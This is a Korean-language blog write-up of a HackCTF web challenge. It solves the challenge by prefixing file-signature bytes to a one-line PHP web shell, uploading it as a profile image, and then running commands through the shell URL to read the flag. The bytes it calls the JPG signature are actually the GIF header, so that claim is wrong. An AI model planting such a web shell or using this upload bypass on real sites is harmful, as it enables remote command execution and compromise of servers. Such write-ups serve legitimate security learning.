문제 서버에 접속하면 위와 같이 가위바위보를 할 수 있습니다. 스크립트 부분의 코드는 아래와 같습니다.
<script>
//RPS thing
function startGame() {
document.getElementById("startButton").classList.add("kill");
document.getElementById("startText").classList.add("kill");
setTimeout(spawnMenu, 200);
}
function delID(id) {
var elem = document.getElementById(id);
elem.parentNode.removeChild(elem);
}
function spawnMenu () {
delID("start");
document.getElementById("menu").className = "alive";
}
var ourchoice = 0;
var theirchoice = 0;
function chosen(type) {
var rock = document.getElementById('rock');
var paper = document.getElementById('paper');
var scissors = document.getElementById('scissors');
var txt = "선택: <b>";
ourchoice = type;
if (type == 0) { //Rock
rock.classList.add("kill");
paper.setAttribute('onclick', "");
scissors.setAttribute('onclick', "");
txt += "바위!";
} else if (type == 1) { //Paper
rock.setAttribute('onclick', "");
paper.classList.add("kill");
scissors.setAttribute('onclick', "");
txt += "보!";
} else if (type == 2) { //Scissors
paper.setAttribute('onclick', "");
scissors.classList.add("kill");
rock.setAttribute('onclick', "");
txt += "가위!";
}
txt += "</b>";
var choicetext = document.createElement("h2");
choicetext.innerHTML = txt;
attr = document.createAttribute("align");
attr.value = "center";
choicetext.setAttributeNode(attr);
style = document.createAttribute("style");
choicetext.setAttributeNode(style);
choicetext.setAttribute("style", "opacity: 0.6;");
document.body.appendChild(choicetext);
setTimeout(EnemyProcess, 200);
}
function EnemyProcess () {
rock.classList.add("kill");
paper.classList.add("kill");
scissors.classList.add("kill");
setTimeout(Enemy, 150);
}
function Enemy () {
var enemytext = document.createElement("h2");
enemytext.innerHTML = "상대: <b>";
var choice = Math.floor(Math.random() * 3);
theirchoice = choice;
if (choice == 0) {
enemytext.innerHTML += "바위!</b>";
} else if (choice == 1) {
enemytext.innerHTML += "보!</b>";
} else if (choice == 2) {
enemytext.innerHTML += "가위!</b>";
}
attr = document.createAttribute("align");
attr.value = "center";
attr2 = document.createAttribute("id");
attr2.value = "center";
style = document.createAttribute("style");
enemytext.setAttributeNode(style);
enemytext.setAttributeNode(attr);
enemytext.setAttribute("style", "opacity: 0.8; margin-top:75px; font-size: 48px;");
document.body.appendChild(enemytext);
PrintResult();
}
function PrintResult () {
var text = document.createElement("h2");
attr = document.createAttribute("align");
style = document.createAttribute("style");
text.setAttributeNode(style);
text.setAttributeNode(attr);
text.setAttribute("style", "margin-top:25px; font-size: 48px;");
attr.value = "center";
var win = 0;
var _0x3eec=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x49\x74\x27\x73\x20\x61\x20\x74\x69\x65\x21","\x59\x6F\x75\x20\x77\x6F\x6E\x21","\x73\x74\x79\x6C\x65","\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x33\x44\x45\x35\x33\x44\x3B\x20\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x32\x35\x70\x78\x3B\x20\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x20\x34\x38\x70\x78\x3B","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x59\x6F\x75\x20\x6C\x6F\x73\x74\x21","\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x45\x35\x33\x42\x33\x42\x3B\x20\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x32\x35\x70\x78\x3B\x20\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x20\x34\x38\x70\x78\x3B"];if(ourchoice== theirchoice){text[_0x3eec[0]]= _0x3eec[1]}else {if(ourchoice== 0){if(theirchoice== 1){win= 0}else {win= 1}}else {if(ourchoice== 1){if(theirchoice== 0){win= 1}else {win= 0}}else {if(theirchoice== 1){win= 1}else {win= 0}}};if(win== 1){text[_0x3eec[0]]= _0x3eec[2];text[_0x3eec[5]](_0x3eec[3],_0x3eec[4])}else {text[_0x3eec[0]]= _0x3eec[6];text[_0x3eec[5]](_0x3eec[3],_0x3eec[7])}}
document.body.appendChild(text);
document.getElementById("resetButton").className = "alive clickable";
}
</script>
처음에는 아래 부분을 보고 난독화를 해결하는 웹 리버싱 문제가 아닐까 했지만 16진수로 되어있는 부분을 아스키코드 문자열 형태로 변경해봐도 의미있는 함수나 힌트가 보이진않는다.
위 그림의 오른쪽 상단을 보면 설정 창이 있다. 설정을 클릭해준다.
설정 창에 들어가면 프로필 이미지를 업로드 할 수 있는 창이 있으므로 웹쉘 문제가 아닐까 생각할 수 있다. 하지만 jpg나 png파일이 아니면 이미지 파일이 아니라는 오류가 뜬다. 확장자를 거짓으로 jpg를 붙여도 이미지 파일이 아니라고 하는 것을 보아 확장자가 아닌 파일 시그니처로 이미지 파일인지 아닌지 판별한다는 것을 추측할 수 있다. 따라서 jpg의 시그니처인 47 49 46 38 37 61 를 웹쉘 앞에 붙여서 파일을 올리면 이미지 파일로 인식된다. 웹쉘 php 코드는 아래와 같다.
<?php echo shell_exec($_GET['cmd']); ?>
HxD로 웹쉘앞에 jpg 시그니처를 추가해주고 이미지를 업로드하면 이미지 파일로 판별된다.
소스를 보면 이미지 파일은 avatars/lemon_soju에 있는 파일을 가져오므로 /avatars/lemon_soju 위치로 이동하면 위와 같이 무언가 일어났다는 문구가 출력됩니다. 이런식으로 오류가 발생하므로 lemon_soju이름과 이미지 이름을 맞춰줘야합니다. 따라서 이름을 파일이름과 같게 맞춰준 후 아래와 같은 주소로 이동하면 쉘을 획득할 수 있다.
http://ctf.j0n9hyun.xyz:2037/avatars/hello01.php?cmd=ls
http://ctf.j0n9hyun.xyz:2037/avatars/hello01.php?cmd=cat%20./../flag.txt 를 입력하면 플래그가 출력된다.
'웹 해킹 > CTF' 카테고리의 다른 글
XSS(Cross Site Scripting), CSRF(Cross Site Request Forgery) 개념 (0) | 2021.11.12 |
---|---|
[HackCTF] Cookie (0) | 2021.10.17 |
[HackCTF] Home (0) | 2021.10.17 |
[HackCTF] Input Check (0) | 2021.09.16 |
[HackCTF] Time (0) | 2021.09.16 |
댓글